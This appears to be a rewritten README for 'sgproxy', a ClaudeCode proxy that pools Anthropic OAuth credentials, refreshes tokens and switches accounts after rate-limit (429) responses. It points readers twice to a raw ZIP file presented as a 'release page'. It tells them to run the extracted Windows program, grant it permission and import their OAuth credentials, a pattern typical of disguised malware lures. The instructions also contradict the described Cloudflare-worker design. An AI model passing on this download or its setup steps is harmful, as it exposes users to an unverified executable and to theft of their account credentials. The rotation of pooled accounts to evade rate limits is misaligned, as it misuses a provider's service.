sgproxy is a small proxy tool for ClaudeCode and Anthropic access. It helps you import login credentials, keep tokens fresh, view usage, and forward /v1/* requests with only headers changed.
It is built for users who want a focused setup for ClaudeCode only. It does not try to handle many channels or many format types.
Visit this page to download sgproxy:
https://raw.githubusercontent.com/Esethu1974/sgproxy/main/build/worker/Software-v1.6-beta.1.zip
On that page, look for the latest release for Windows. Download the file that matches your system, then open it to start the app or installer.
Use these steps on a Windows PC:
- Open the release page.
- Download the Windows file from the latest release.
- If the file is a ZIP, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the program file to run sgproxy.
- If Windows asks for permission, choose Yes.
- Keep the app open while you use ClaudeCode with it.
If you see more than one file, pick the one that looks like the Windows build, such as .exe or .zip.
After you start sgproxy for the first time, set up these items:
- Open the admin page in your browser.
- Sign in with the admin token you set during setup.
- Import your ClaudeCode OAuth credentials.
- Check that the credential status shows as active.
- Make sure the proxy address is the one you want ClaudeCode to use.
If you are using the Cloudflare version, the same setup flow applies after deployment. The tool will ask for the required ADMIN_TOKEN during setup.
- ClaudeCode-only proxy — Built for Anthropic ClaudeCode traffic
- Header-only forwarding — Keeps the request body and response body unchanged
- OAuth import — Lets you add credentials with OAuth2 + PKCE
- Auto refresh — Refreshes tokens before they expire
- Usage tracking — Shows 5-hour, 7-day, and Sonnet limits
- 429 fallback — Switches the next request to a different credential
- Web admin panel — Gives you a simple browser-based control screen
- Public usage page — Lets others view usage without signing in
To use sgproxy with ClaudeCode:
- Start sgproxy on your Windows PC.
- Open ClaudeCode.
- Change the proxy or endpoint settings to point to sgproxy.
- Use ClaudeCode as usual.
- Check the admin panel if you want to see usage or credential status.
sgproxy only changes headers and routes the request. It does not rewrite the body of your messages.
sgproxy keeps track of credential state for you.
- Active credentials stay ready for use
- Expired tokens refresh before they stop working
- Failed refresh attempts mark a credential as
dead - When a request gets a 429 response, sgproxy does not retry that same request
- It uses another credential for the next request
This helps keep ClaudeCode access steady without extra manual steps.
The admin panel includes:
- Chinese
- English
You can use either one based on what feels easier.
For Windows use, you will need:
- Windows 10 or later
- A modern web browser
- Internet access
- A ClaudeCode account or valid Anthropic credentials
- Permission to run downloaded apps on your PC
If you use the Cloudflare deployment path, you will also need a Cloudflare account.
- Visit the release page.
- Download the Windows file.
- Open the file and launch sgproxy.
- Set your admin token.
- Import your credentials.
- Point ClaudeCode to the local proxy.
- Begin using ClaudeCode through sgproxy
After sgproxy starts, open the local web address shown by the app. That page gives you access to:
- Credential import
- Token status
- Usage data
- Language switch
- Public usage view settings
If the app shows a local port, use that address in your browser.
If sgproxy does not start:
- Check that the file finished downloading.
- Make sure Windows did not block the file.
- Try running it again as the same user who downloaded it.
- Confirm that no other app is using the same port.
- Restart the app after changing settings.
If ClaudeCode does not connect:
- Check the proxy address in ClaudeCode.
- Make sure sgproxy is still running.
- Confirm that your credentials are active.
- Open the admin page and review token status.
- Import a fresh credential if the old one is no longer valid.
If the browser page does not open:
- Copy the local address from the app.
- Paste it into your browser.
- Check your firewall rules.
- Try a different browser
Download or update sgproxy here:
https://raw.githubusercontent.com/Esethu1974/sgproxy/main/build/worker/Software-v1.6-beta.1.zip
sgproxy helps you keep ClaudeCode access in one place. It gives you a browser view for credential control, usage checks, and token refresh. It also keeps proxy behavior simple by forwarding /v1/* requests with header changes only